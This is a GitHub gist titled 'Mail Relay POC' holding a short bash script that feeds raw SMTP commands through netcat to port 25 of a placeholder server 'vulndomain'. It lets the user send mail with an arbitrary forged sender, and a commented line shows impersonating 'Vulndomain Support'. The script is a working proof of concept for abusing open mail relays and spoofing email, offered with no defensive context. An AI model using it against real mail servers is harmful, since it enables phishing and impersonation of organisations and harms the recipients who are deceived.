Created
December 31, 2019 09:56
-
-
Save insi2304/66f2bf823426b4e6bb23513bb96703a1 to your computer and use it in GitHub Desktop.
Mail Relay POC
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
read -p "Enter Email Body: " body | |
read -p "Enter sender mail address: " sender | |
read -p "Enter reciever mail address: " recipient | |
mail_server_ip="vulndomain" | |
mail_server_port="25" | |
#recipient="youremail@gmail.com" | |
#sender="\"Vulndomain Support\"<${sender}>" | |
nc ${mail_server_ip} ${mail_server_port} << EOF | |
ehlo vulndomain.com | |
mail from:${sender} | |
rcpt to:${recipient} | |
data | |
From:${sender} | |
To:${recipient} | |
subject: Telnet test | |
${body} | |
. | |
quit | |
EOF |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment